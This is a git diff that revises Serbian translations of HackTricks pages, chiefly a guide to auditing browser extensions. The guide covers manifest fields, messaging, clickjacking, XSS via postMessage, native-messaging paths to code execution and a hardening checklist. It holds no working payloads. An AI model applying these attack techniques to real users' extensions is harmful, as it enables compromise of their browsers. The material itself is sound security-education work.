Translated ['.github/pull_request_template.md', 'src/1911-pentesting-fox

This commit is contained in:
Translator 2025-01-03 03:27:31 +00:00
parent 373f01d669
commit 2829fdf6cc
290 changed files with 2571 additions and 2596 deletions

View File

@ -1,6 +1,4 @@
Možete ukloniti ovaj sadržaj pre slanja PR-a:
## Attribution
Cenimo vaše znanje i podstičemo vas da delite sadržaj. Molimo vas da osigurate da postavljate samo sadržaj koji posedujete ili za koji imate dozvolu da ga delite od originalnog autora (dodajući referencu na autora u dodatom tekstu ili na kraju stranice koju modifikujete ili oboje). Vaše poštovanje prava intelektualne svojine doprinosi pouzdanom i legalnom okruženju za deljenje za sve.
Cenimo vaše znanje i podstičemo vas da delite sadržaj. Molimo vas da osigurate da postavljate samo sadržaj koji posedujete ili za koji imate dozvolu da ga delite od originalnog autora (dodajući referencu na autora u dodatom tekstu ili na kraju stranice koju modifikujete ili oboje). Vaše poštovanje prava intelektualne svojine doprinosi pouzdanoj i legalnoj sredini deljenja za sve.
Hvala vam što doprinosite HackTricks!

View File

@ -22,6 +22,7 @@ after = ["links"]
[preprocessor.hacktricks]
command = "python3 ./hacktricks-preprocessor.py"
env = "prod"
[output.html]
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]

View File

@ -30,7 +30,9 @@ def ref(matchobj):
href = matchobj.groups(0)[0].strip()
title = href
if href.startswith("http://") or href.startswith("https://"):
# pass
if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
pass
else:
try:
raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
match = re.search('<title>(.*?)</title>', raw_html)
@ -90,7 +92,7 @@ if __name__ == '__main__':
context, book = json.load(sys.stdin)
logger.debug(f"Context: {context}")
logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
for chapter in iterate_chapters(book['sections']):
logger.debug(f"Chapter: {chapter['path']}")

View File

@ -4,9 +4,9 @@
I više usluga:
ubiquiti-discover udp "Ubiquiti Networks uređaj"
ubiquiti-discover udp "Ubiquiti Networks Device"
dht udp "DHT čvorovi"
dht udp "DHT Nodes"
5060 udp sip "SIP/"

View File

@ -61,7 +61,7 @@ Primer:
```
### `content_scripts`
Skripte sadržaja se **učitavaju** svaki put kada korisnik **navigira na odgovarajuću stranicu**, u našem slučaju bilo koja stranica koja odgovara **`https://example.com/*`** izrazu i ne odgovara **`*://*/*/business*`** regex-u. Izvršavaju se **poput skripti same stranice** i imaju proizvoljan pristup [Modelu objekta dokumenta (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) stranice.
Skripte sadržaja se **učitavaju** svaki put kada korisnik **navigira na odgovarajuću stranicu**, u našem slučaju bilo koja stranica koja odgovara **`https://example.com/*`** izrazu i ne odgovara **`*://*/*/business*`** regex-u. Izvršavaju se **kao sopstvene skripte stranice** i imaju proizvoljan pristup [Modelu objekta dokumenta (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) stranice.
```json
"content_scripts": [
{
@ -78,7 +78,7 @@ Skripte sadržaja se **učitavaju** svaki put kada korisnik **navigira na odgova
```
Da bi se uključilo ili isključilo više URL-ova, takođe je moguće koristiti **`include_globs`** i **`exclude_globs`**.
Ovo je primer sadržajnog skripta koji će dodati dugme za objašnjenje na stranicu kada [storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) preuzme `message` vrednost iz skladišta ekstenzije.
Ovo je primer sadržajnog skripta koji će dodati dugme za objašnjenje na stranicu kada [API za skladištenje](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) preuzme `message` vrednost iz skladišta ekstenzije.
```js
chrome.storage.local.get("message", (result) => {
let div = document.createElement("div")
@ -91,7 +91,7 @@ document.body.appendChild(div)
```
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
Poruka se šalje na stranice ekstenzije putem sadržajnog skripta kada se pritisne ovaj dugme, korišćenjem [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). To je zbog ograničenja sadržajnog skripta u direktnom pristupu API-ima, pri čemu je `storage` jedan od retkih izuzetaka. Za funkcionalnosti izvan ovih izuzetaka, poruke se šalju na stranice ekstenzije sa kojima sadržajni skripti mogu komunicirati.
Poruka se šalje na stranice ekstenzije putem sadržajnog skripta kada se klikne na ovaj dugme, korišćenjem [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). To je zbog ograničenja sadržajnog skripta u direktnom pristupu API-ima, pri čemu je `storage` jedan od retkih izuzetaka. Za funkcionalnosti izvan ovih izuzetaka, poruke se šalju na stranice ekstenzije sa kojima sadržajni skripti mogu komunicirati.
> [!WARNING]
> U zavisnosti od pretraživača, mogućnosti sadržajnog skripta mogu se malo razlikovati. Za pretraživače zasnovane na Chromium-u, lista mogućnosti je dostupna u [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), a za Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) služi kao primarni izvor.\
@ -106,7 +106,7 @@ Kada se prikažu alati za programere, treba kliknuti na **Source tab**, a zatim
> [!TIP]
> Imajte na umu da **Sadržajni skripti nisu obavezni** jer je takođe moguće **dinamički** **umetati** skripte i **programatski ih umetati** na web stranice putem **`tabs.executeScript`**. Ovo zapravo pruža više **granularnih kontrola**.
Za programatsko umetanje sadržajnog skripta, ekstenzija mora imati [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) za stranicu u koju se skripte umetnu. Ove dozvole mogu se obezbediti ili **zahtevom** unutar manifest-a ekstenzije ili privremeno putem [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
Za programatsko umetanje sadržajnog skripta, ekstenzija mora imati [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) za stranicu u koju se skripte umetnu. Ove dozvole mogu se obezbediti ili **zahtevom** unutar manifestacije ekstenzije ili privremeno putem [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
#### Primer ekstenzije zasnovane na activeTab
```json:manifest.json
@ -208,18 +208,18 @@ js: ["contentScript.js"],
```
### `background`
Poruke koje šalju sadržajni skripti primaju se na **background page**, koja ima centralnu ulogu u koordinaciji komponenti ekstenzije. Značajno je da background page opstaje tokom celog trajanja ekstenzije, delujući diskretno bez direktne interakcije korisnika. Ima svoj vlastiti Document Object Model (DOM), što omogućava složene interakcije i upravljanje stanjem.
Poruke koje šalju sadržajni skripti primaju **pozadinske stranice**, koje imaju centralnu ulogu u koordinaciji komponenti ekstenzije. Važno je napomenuti da pozadinska stranica opstaje tokom celog trajanja ekstenzije, delujući diskretno bez direktne interakcije korisnika. Ima svoj vlastiti Model objekta dokumenta (DOM), što omogućava složene interakcije i upravljanje stanjem.
**Ključne tačke**:
- **Uloga Background Page:** Deluje kao nervni centar za ekstenziju, obezbeđujući komunikaciju i koordinaciju među različitim delovima ekstenzije.
- **Uloga pozadinske stranice:** Deluje kao nervni centar za ekstenziju, obezbeđujući komunikaciju i koordinaciju među različitim delovima ekstenzije.
- **Postojanost:** To je uvek prisutna entitet, nevidljiva korisniku, ali integralna za funkcionalnost ekstenzije.
- **Automatska Generacija:** Ako nije eksplicitno definisana, pretraživač će automatski kreirati background page. Ova automatski generisana stranica će uključivati sve background skripte navedene u manifestu ekstenzije, obezbeđujući nesmetano funkcionisanje pozadinskih zadataka ekstenzije.
- **Automatska generacija:** Ako nije eksplicitno definisana, pretraživač će automatski kreirati pozadinsku stranicu. Ova automatski generisana stranica će uključivati sve pozadinske skripte navedene u manifestu ekstenzije, obezbeđujući nesmetano funkcionisanje pozadinskih zadataka ekstenzije.
> [!TIP]
> Povoljnost koju pretraživač pruža automatskim generisanjem background page (kada nije eksplicitno deklarisana) osigurava da su sve potrebne background skripte integrisane i operativne, pojednostavljujući proces postavljanja ekstenzije.
> Povoljnost koju pretraživač pruža automatskim generisanjem pozadinske stranice (kada nije eksplicitno deklarisana) osigurava da su sve potrebne pozadinske skripte integrisane i operativne, pojednostavljujući proces postavljanja ekstenzije.
Primer background skripte:
Primer pozadinske skripte:
```js
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
if (request == "explain") {
@ -238,7 +238,7 @@ Da biste debagovali pozadinski skript, možete otići na **detalje ekstenzije i
Ekstenzije pretraživača mogu sadržati razne vrste stranica:
- **Akcione stranice** se prikazuju u **ispod kada se klikne na ikonu ekstenzije.**
- Stranice koje će ekstenzija **učitati u novoj kartici.**
- Stranice koje ekstenzija **učitava u novoj kartici.**
- **Opcione stranice**: Ova stranica se prikazuje na vrhu ekstenzije kada se klikne. U prethodnom manifestu, u mom slučaju, mogao sam da pristupim ovoj stranici na `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ili klikom:
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
@ -262,7 +262,7 @@ browext-permissions-and-host_permissions.md
### `content_security_policy`
**Politika bezbednosti sadržaja** može biti deklarisana i unutar `manifest.json`. Ako je jedna definisana, mogla bi biti **ranjiva**.
**Politika bezbednosti sadržaja** može se takođe deklarisati unutar `manifest.json`. Ako je jedna definisana, mogla bi biti **ranjiva**.
Podrazumevana postavka za stranice ekstenzija pretraživača je prilično restriktivna:
```bash
@ -305,21 +305,21 @@ U javnim ekstenzijama **extension-id je dostupan**:
Međutim, ako se koristi parametar `manifest.json` **`use_dynamic_url`**, ovaj **id može biti dinamičan**.
> [!TIP]
> Imajte na umu da čak i ako je stranica ovde pomenuta, može biti **zaštićena od ClickJacking** zahvaljujući **Content Security Policy**. Takođe treba da proverite (odeljak frame-ancestors) pre nego što potvrdite da je ClickJacking napad moguć.
> Imajte na umu da čak i ako je stranica ovde pomenuta, može biti **zaštićena od ClickJacking** zahvaljujući **Content Security Policy**. Takođe treba da proverite (sekcija frame-ancestors) pre nego što potvrdite da je ClickJacking napad moguć.
Dozvola pristupa ovim stranicama čini ih **potencijalno ranjivim na ClickJacking**:
Mogućnost pristupa ovim stranicama čini ih **potencijalno ranjivim na ClickJacking**:
{{#ref}}
browext-clickjacking.md
{{#endref}}
> [!TIP]
> Dozvoljavanje da se ove stranice učitavaju samo putem ekstenzije, a ne putem nasumičnih URL-ova može sprečiti ClickJacking napade.
> Dozvoljavanje da se ove stranice učitavaju samo putem ekstenzije, a ne putem nasumičnih URL-ova moglo bi sprečiti ClickJacking napade.
> [!CAUTION]
> Imajte na umu da stranice iz **`web_accessible_resources`** i druge stranice ekstenzije takođe mogu **kontaktirati pozadinske skripte**. Dakle, ako je jedna od ovih stranica ranjiva na **XSS**, to može otvoriti veću ranjivost.
> Imajte na umu da stranice iz **`web_accessible_resources`** i druge stranice ekstenzije takođe mogu **kontaktirati pozadinske skripte**. Dakle, ako je jedna od ovih stranica ranjiva na **XSS**, to bi moglo otvoriti veću ranjivost.
>
> Pored toga, imajte na umu da možete otvoriti samo stranice navedene u **`web_accessible_resources`** unutar iframe-ova, ali iz nove kartice je moguće pristupiti bilo kojoj stranici u ekstenziji poznavajući ID ekstenzije. Stoga, ako se pronađe XSS koji zloupotrebljava iste parametre, može se zloupotrebiti čak i ako stranica nije konfigurisana u **`web_accessible_resources`**.
> Pored toga, imajte na umu da možete otvoriti samo stranice navedene u **`web_accessible_resources`** unutar iframe-ova, ali iz nove kartice je moguće pristupiti bilo kojoj stranici u ekstenziji poznavajući ID ekstenzije. Stoga, ako se pronađe XSS koji zloupotrebljava iste parametre, može se zloupotrebljavati čak i ako stranica nije konfigurisana u **`web_accessible_resources`**.
### `externally_connectable`
@ -338,17 +338,17 @@ Prema [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest
Što je **manje ekstenzija i URL-ova** ovde navedeno, to će biti **manja površina napada**.
> [!CAUTION]
> Ako je veb stranica **ranjiva na XSS ili preuzimanje** navedena u **`externally_connectable`**, napadač će moći da **pošalje poruke direktno u pozadinski skript**, potpuno zaobilazeći Content Script i njegov CSP.
> Ako je veb stranica **vulnerable to XSS or takeover** navedena u **`externally_connectable`**, napadač će moći da **pošalje poruke direktno u pozadinski skript**, potpuno zaobilazeći Content Script i njegov CSP.
>
> Stoga, ovo je **veoma moćan zaobilazni način**.
>
> Štaviše, ako klijent instalira lažnu ekstenziju, čak i ako nije dozvoljeno da komunicira sa ranjivom ekstenzijom, mogla bi da ubrizga **XSS podatke u dozvoljenu veb stranicu** ili zloupotrebi **`WebRequest`** ili **`DeclarativeNetRequest`** API-je da manipuliše zahtevima na ciljanom domenu menjajući zahtev stranice za **JavaScript datoteku**. (Imajte na umu da CSP na ciljnoj stranici može sprečiti ove napade). Ova ideja dolazi [**iz ovog izveštaja**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
> Štaviše, ako klijent instalira lažnu ekstenziju, čak i ako nije dozvoljeno da komunicira sa ranjivom ekstenzijom, mogla bi da ubrizga **XSS podatke u dozvoljenu veb stranicu** ili zloupotrebi **`WebRequest`** ili **`DeclarativeNetRequest`** API-je da manipuliše zahtevima na ciljanom domenu menjajući zahtev stranice za **JavaScript datoteku**. (Imajte na umu da CSP na ciljnoj stranici može sprečiti ove napade). Ova ideja dolazi [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
## Sažetak komunikacije
### Ekstenzija <--> WebApp
Za komunikaciju između sadržajnog skripta i veb stranice obično se koriste post poruke. Stoga, u veb aplikaciji obično ćete pronaći pozive funkciji **`window.postMessage`** i u sadržajnom skriptu slušaoce poput **`window.addEventListener`**. Imajte na umu, međutim, da ekstenzija takođe može **komunicirati sa veb aplikacijom slanjem Post Poruke** (i stoga bi veb trebao to očekivati) ili jednostavno učiniti da veb učita novi skript.
Za komunikaciju između sadržajnog skripta i veb stranice obično se koriste post poruke. Stoga, u veb aplikaciji obično ćete pronaći pozive funkciji **`window.postMessage`** i u sadržajnom skriptu slušaoce poput **`window.addEventListener`**. Imajte na umu, međutim, da ekstenzija takođe može **komunicirati sa veb aplikacijom slanjem Post Message** (i stoga bi veb trebao to očekivati) ili jednostavno učiniti da veb učita novi skript.
### Unutar ekstenzije
@ -450,7 +450,7 @@ window.postMessage(
false
)
```
Sigurna Post Message komunikacija treba da proveri autentičnost primljene poruke, to se može uraditi proverom:
Sigurna Post Message komunikacija treba da proveri autentičnost primljene poruke, što se može uraditi proverom:
- **`event.isTrusted`**: Ovo je Tačno samo ako je događaj pokrenut akcijom korisnika
- Sadržajni skript može očekivati poruku samo ako korisnik izvrši neku akciju
@ -486,7 +486,7 @@ browext-xss-example.md
Sadržajni Skript može koristiti funkcije [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ili** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) za slanje **jednokratne JSON-serializovane** poruke.
Da biste obradili **odgovor**, koristite vraćeni **Promise**. Iako, za unazadnu kompatibilnost, još uvek možete proslediti **callback** kao poslednji argument.
Da biste obradili **odgovor**, koristite vraćeni **Promise**. Iako, za unazad kompatibilnost, još uvek možete proslediti **callback** kao poslednji argument.
Slanje zahteva iz **sadržajnog skripta** izgleda ovako:
```javascript
@ -521,11 +521,11 @@ sender.tab
if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
})
```
U istaknutom primeru, **`sendResponse()`** je izvršen na sinhroni način. Da bi se modifikovao `onMessage` handler za asinhrono izvršavanje `sendResponse()`, neophodno je uključiti `return true;`.
U istaknutom primeru, **`sendResponse()`** je izvršen na sinhroni način. Da bi se modifikovao `onMessage` događaj za asinhrono izvršavanje `sendResponse()`, neophodno je uključiti `return true;`.
Važna stvar koju treba uzeti u obzir je da u scenarijima gde više stranica treba da prime `onMessage` događaje, **prva stranica koja izvrši `sendResponse()`** za određeni događaj će biti jedina koja može efikasno dostaviti odgovor. Svi naredni odgovori na isti događaj neće biti uzeti u obzir.
Važna stvar je da u scenarijima gde više stranica treba da prime `onMessage` događaje, **prva stranica koja izvrši `sendResponse()`** za određeni događaj će biti jedina koja može efikasno dostaviti odgovor. Svi naredni odgovori na isti događaj neće biti uzeti u obzir.
Kada se kreiraju nove ekstenzije, prednost treba dati promenama umesto povratnim pozivima. Što se tiče korišćenja povratnih poziva, `sendResponse()` funkcija se smatra validnom samo ako se izvršava direktno unutar sinhronog konteksta, ili ako handler označava asinhronu operaciju vraćanjem `true`. Ako nijedan od handlera ne vrati `true` ili ako je `sendResponse()` funkcija uklonjena iz memorije (sakupljena smeća), povratni poziv povezan sa `sendMessage()` funkcijom će se podrazumevano aktivirati.
Kada se kreiraju nove ekstenzije, prednost treba dati promenama umesto povratnim pozivima. Što se tiče korišćenja povratnih poziva, `sendResponse()` funkcija se smatra validnom samo ako se izvršava direktno unutar sinhronog konteksta, ili ako događajni handler označava asinhronu operaciju vraćanjem `true`. Ako nijedan od handlera ne vrati `true` ili ako je `sendResponse()` funkcija uklonjena iz memorije (garbage-collected), povratni poziv povezan sa `sendMessage()` funkcijom će se podrazumevano aktivirati.
## Native Messaging
@ -558,28 +558,28 @@ console.log("Received " + response)
```
U [**ovom blog postu**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), predložen je ranjiv obrazac koji zloupotrebljava native poruke:
1. Ekstenzija za pretraživač ima obrazac sa wildcard za sadržaj skripte.
1. Ekstenzija pretraživača ima obrazac sa wildcard za sadržaj skripte.
2. Sadržaj skripte prosleđuje `postMessage` poruke pozadinskoj skripti koristeći `sendMessage`.
3. Pozadinska skripta prosleđuje poruku native aplikaciji koristeći `sendNativeMessage`.
4. Native aplikacija opasno obrađuje poruku, što dovodi do izvršenja koda.
I unutar toga objašnjen je primer **prelaska sa bilo koje stranice na RCE zloupotrebom ekstenzije za pretraživač**.
I unutar toga objašnjen je primer **prelaska sa bilo koje stranice na RCE zloupotrebom ekstenzije pretraživača**.
## Osetljive informacije u memoriji/kodu/clipboard-u
Ako ekstenzija za pretraživač čuva **osetljive informacije unutar svoje memorije**, to može biti **izvučeno** (posebno na Windows mašinama) i **pretraženo** za te informacije.
Ako ekstenzija pretraživača čuva **osetljive informacije unutar svoje memorije**, to može biti **izvučeno** (posebno na Windows mašinama) i **pretraženo** za te informacije.
Stoga, memorija ekstenzije za pretraživač **ne bi trebala biti smatrana sigurnom** i **osetljive informacije** kao što su akreditivi ili mnemoničke fraze **ne bi trebale biti čuvane**.
Stoga, memorija ekstenzije pretraživača **ne bi trebala biti smatrana sigurnom** i **osetljive informacije** kao što su akreditivi ili mnemoničke fraze **ne bi trebale biti čuvane**.
Naravno, **ne stavljajte osetljive informacije u kod**, jer će to biti **javno**.
Da biste izvadili memoriju iz pretraživača, možete **izvući memoriju procesa** ili da odete na **podešavanja** ekstenzije za pretraživač klikom na **`Inspect pop-up`** -> U **`Memory`** sekciji -> **`Take a snapshot`** i **`CTRL+F`** da pretražujete unutar snimka za osetljive informacije.
Da biste izvadili memoriju iz pretraživača, možete **izvući memoriju procesa** ili da odete na **podešavanja** ekstenzije pretraživača kliknite na **`Inspect pop-up`** -> U **`Memory`** sekciji -> **`Take a snapshot`** i **`CTRL+F`** da pretražujete unutar snimka za osetljive informacije.
Štaviše, veoma osetljive informacije kao što su mnemonički ključevi ili lozinke **ne bi trebale biti dozvoljene za kopiranje u clipboard** (ili barem ih uklonite iz clipboard-a u nekoliko sekundi) jer će tada procesi koji prate clipboard moći da ih dobiju.
Štaviše, veoma osetljive informacije kao što su mnemonički ključevi ili lozinke **ne bi trebale biti dozvoljene da se kopiraju u clipboard** (ili barem ih uklonite iz clipboard-a u nekoliko sekundi) jer će tada procesi koji prate clipboard moći da ih dobiju.
## Učitavanje ekstenzije u pretraživač
## Učitavanje ekstenzije u pretraživaču
1. **Preuzmite** ekstenziju za pretraživač & raspakujte je
1. **Preuzmite** ekstenziju pretraživača & raspakujte je
2. Idite na **`chrome://extensions/`** i **omogućite** `Developer Mode`
3. Kliknite na **`Load unpacked`** dugme
@ -608,18 +608,18 @@ unzip -d "$extension_id-source" "$extension_id.zip"
Još jedna pogodna metoda je korišćenje Chrome Extension Source Viewer, koji je projekat otvorenog koda. Može se instalirati iz [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Izvorni kod pregledača je dostupan u njegovom [GitHub repozitorijumu](https://github.com/Rob--W/crxviewer).
### Poglejte izvor lokalno instalirane ekstenzije
### Pregledajte izvor lokalno instalirane ekstenzije
Chrome ekstenzije instalirane lokalno takođe se mogu pregledati. Evo kako:
1. Pristupite svom lokalnom profilu Chrome-a tako što ćete posetiti `chrome://version/` i pronaći polje "Profile Path".
2. Idite u podfolder `Extensions/` unutar direktorijuma profila.
3. Ova fascikla sadrži sve instalirane ekstenzije, obično sa njihovim izvorni kodom u čitljivom formatu.
3. Ova fascikla sadrži sve instalirane ekstenzije, obično sa njihovim izvorom u čitljivom formatu.
Da biste identifikovali ekstenzije, možete mapirati njihove ID-eve na imena:
- Omogućite Developer Mode na stranici `about:extensions` da biste videli ID-eve svake ekstenzije.
- Unutar fascikle svake ekstenzije, datoteka `manifest.json` sadrži čitljivo polje `name`, što vam pomaže da identifikujete ekstenziju.
- Unutar fascikle svake ekstenzije, datoteka `manifest.json` sadrži čitljivo polje `name`, što pomaže u identifikaciji ekstenzije.
### Koristite arhivator ili raspakivač
@ -627,11 +627,11 @@ Idite na Chrome Web Store i preuzmite ekstenziju. Datoteka će imati ekstenziju
### Koristite Developer Mode u Chrome-u
Otvorite Chrome i idite na `chrome://extensions/`. Omogućite "Developer mode" u gornjem desnom uglu. Kliknite na "Load unpacked extension...". Idite do direktorijuma vaše ekstenzije. Ovo ne preuzima izvorni kod, ali je korisno za pregledanje i modifikovanje koda već preuzete ili razvijene ekstenzije.
Otvorite Chrome i idite na `chrome://extensions/`. Omogućite "Developer mode" u gornjem desnom uglu. Kliknite na "Load unpacked extension...". Idite do direktorijuma vaše ekstenzije. Ovo ne preuzima izvorni kod, ali je korisno za pregled i modifikaciju koda već preuzete ili razvijene ekstenzije.
## Skup podataka manifest ekstenzija Chrome-a
Da biste pokušali da pronađete ranjive ekstenzije pretraživača, možete koristiti [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) i proveriti njihove manifest datoteke na potencijalno ranjive znakove. Na primer, da biste proverili ekstenzije sa više od 25000 korisnika, `content_scripts` i dozvolu `nativeMessaging`:
Da biste pokušali da uočite ranjive ekstenzije pretraživača, možete koristiti [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) i proveriti njihove manifest datoteke na potencijalno ranjive znakove. Na primer, da biste proverili ekstenzije sa više od 25000 korisnika, `content_scripts` i dozvolu `nativeMessaging`:
```bash
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
@ -645,8 +645,8 @@ Iako ekstenzije za pretraživače imaju **ograničenu površinu napada**, neke o
- [ ] Koristiti **jaku** **`content_security_policy`**
- [ ] **Ograničiti** koliko je moguće **`externally_connectable`**, ako nije potrebno i moguće, ne ostavljati ga podrazumevano, specificirati **`{}`**
- [ ] Ako je ovde pomenut **URL ranjiv na XSS ili preuzimanje**, napadač će moći da **šalje poruke direktno pozadinskim skriptama**. Veoma moćan zaobilaženje.
- [ ] **Ograničiti** koliko je moguće **`web_accessible_resources`**, čak i prazne ako je moguće.
- [ ] Ako **`web_accessible_resources`** nije nijedna, proveriti [**ClickJacking**](browext-clickjacking.md)
- [ ] **Ograničiti** koliko je moguće **`web_accessible_resources`**, čak i prazno ako je moguće.
- [ ] Ako **`web_accessible_resources`** nije nijedno, proveriti [**ClickJacking**](browext-clickjacking.md)
- [ ] Ako se bilo koja **komunikacija** dešava od **ekstenzije** do **web stranice**, [**proveriti XSS**](browext-xss-example.md) **ranjivosti** uzrokovane u komunikaciji.
- [ ] Ako se koriste Post Messages, proveriti [**Post Message ranjivosti**](../postmessage-vulnerabilities/)**.**
- [ ] Ako **Content Script pristupa DOM detaljima**, proveriti da li **ne uvode XSS** ako ih web **modifikuje**
@ -654,7 +654,7 @@ Iako ekstenzije za pretraživače imaju **ograničenu površinu napada**, neke o
- [ ] Ako pozadinska skripta komunicira putem **native messaging**, proveriti da li je komunikacija sigurna i sanirana
- [ ] **Osetljive informacije ne bi trebalo da budu pohranjene** unutar koda ekstenzije za pretraživač
- [ ] **Osetljive informacije ne bi trebalo da budu pohranjene** unutar memorije ekstenzije za pretraživač
- [ ] **Osetljive informacije ne bi trebalo da budu pohranjene** unutar **fajl sistema nezaštićeno**
- [ ] **Osetljive informacije ne bi trebalo da budu pohranjene** unutar **datotečnog sistema nezaštićeno**
## Rizici ekstenzije za pretraživač
@ -665,7 +665,7 @@ Iako ekstenzije za pretraživače imaju **ograničenu površinu napada**, neke o
### [**Tarnish**](https://thehackerblog.com/tarnish/)
- Preuzima bilo koju Chrome ekstenziju sa datog linka Chrome web prodavnice.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **pregledač**: jednostavno prikazuje JSON-formatiranu verziju manifest fajla ekstenzije.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **pregledač**: jednostavno prikazuje JSON-formatiranu verziju manifest datoteke ekstenzije.
- **Analiza otiska**: Detekcija [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) i automatska generacija JavaScript-a za otiskivanje Chrome ekstenzije.
- **Potencijalna analiza Clickjacking-a**: Detekcija HTML stranica ekstenzije sa postavljenom direktivom [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources). Ove su potencijalno ranjive na clickjacking u zavisnosti od svrhe stranica.
- **Pregledač upozorenja o dozvolama**: koji prikazuje listu svih upozorenja o dozvolama Chrome-a koja će biti prikazana kada korisnik pokuša da instalira ekstenziju.
@ -674,22 +674,22 @@ Iako ekstenzije za pretraživače imaju **ograničenu površinu napada**, neke o
- I skeneri Opasne funkcije i Ulazne tačke imaju sledeće za svoje generisane alarme:
- Relevantni deo koda i linija koja je izazvala alarm.
- Opis problema.
- Dugme "Pogledaj fajl" za pregled celog izvornog fajla koji sadrži kod.
- Putanja alarmiranog fajla.
- Potpuni URI Chrome ekstenzije alarmiranog fajla.
- Tip fajla, kao što su skripta pozadinske stranice, skripta sadržaja, akcija pretraživača, itd.
- Ako je ranjiva linija u JavaScript fajlu, putanje svih stranica gde je uključena kao i tip ovih stranica, i [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) status.
- Dugme "Pogledaj datoteku" za pregled celokupne izvorne datoteke koja sadrži kod.
- Putanja alarmirane datoteke.
- Potpuni URI Chrome ekstenzije alarmirane datoteke.
- Tip datoteke, kao što su skripta pozadinske stranice, skripta sadržaja, akcija pretraživača, itd.
- Ako je ranjiva linija u JavaScript datoteci, putanje svih stranica gde je uključena kao i tip ovih stranica, i [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) status.
- **Analizator politike sigurnosti sadržaja (CSP) i proveravač zaobilaženja**: Ovo će ukazati na slabosti u CSP-u vaše ekstenzije i takođe će osvetliti sve potencijalne načine zaobilaženja vašeg CSP-a zbog belih lista CDN-ova itd.
- **Poznate ranjive biblioteke**: Ovo koristi [Retire.js](https://retirejs.github.io/retire.js/) da proveri da li se koriste poznate ranjive JavaScript biblioteke.
- Preuzimanje ekstenzije i formatiranih verzija.
- Preuzimanje originalne ekstenzije.
- Preuzimanje ulepšane verzije ekstenzije (automatski formatiran HTML i JavaScript).
- Preuzimanje formatirane verzije ekstenzije (automatski formatirani HTML i JavaScript).
- Automatsko keširanje rezultata skeniranja, pokretanje skeniranja ekstenzije će potrajati neko vreme prvi put kada ga pokrenete. Međutim, drugi put, pod pretpostavkom da ekstenzija nije ažurirana, biće gotovo instant zbog keširanih rezultata.
- Linkabilni URL-ovi izveštaja, lako povezivanje nekoga sa izveštajem o ekstenziji generisanim od strane tarnish.
- Linkabilni URL-ovi izveštaja, lako povezati nekoga sa izveštajem o ekstenziji generisanim od strane tarnish.
### [Neto](https://github.com/elevenpaths/neto)
Projekat Neto je Python 3 paket osmišljen za analizu i otkrivanje skrivenih funkcija ekstenzija i dodataka za pretraživače kao što su Firefox i Chrome. Automatizuje proces raspakivanja pakovanih fajlova kako bi izvukao ove funkcije iz relevantnih resursa u ekstenziji kao što su `manifest.json`, folderi za lokalizaciju ili JavaScript i HTML izvorni fajlovi.
Projekat Neto je Python 3 paket osmišljen da analizira i razotkrije skrivene funkcije ekstenzija i dodataka za pretraživače kao što su Firefox i Chrome. Automatizuje proces raspakivanja pakovanih datoteka kako bi izvukao ove funkcije iz relevantnih resursa u ekstenziji kao što su `manifest.json`, folderi za lokalizaciju ili JavaScript i HTML izvorne datoteke.
## Reference

View File

@ -4,7 +4,7 @@
## Osnovne informacije
Ova stranica će iskoristiti ClickJacking ranjivost u ekstenziji pregledača.\
Ova stranica će iskoristiti ClickJacking ranjivost u ekstenziji za pregledač.\
Ako ne znate šta je ClickJacking, proverite:
{{#ref}}
@ -13,26 +13,26 @@ Ako ne znate šta je ClickJacking, proverite:
Ekstenzije sadrže datoteku **`manifest.json`** i ta JSON datoteka ima polje `web_accessible_resources`. Evo šta [Chrome dokumentacija](https://developer.chrome.com/extensions/manifest/web_accessible_resources) kaže o tome:
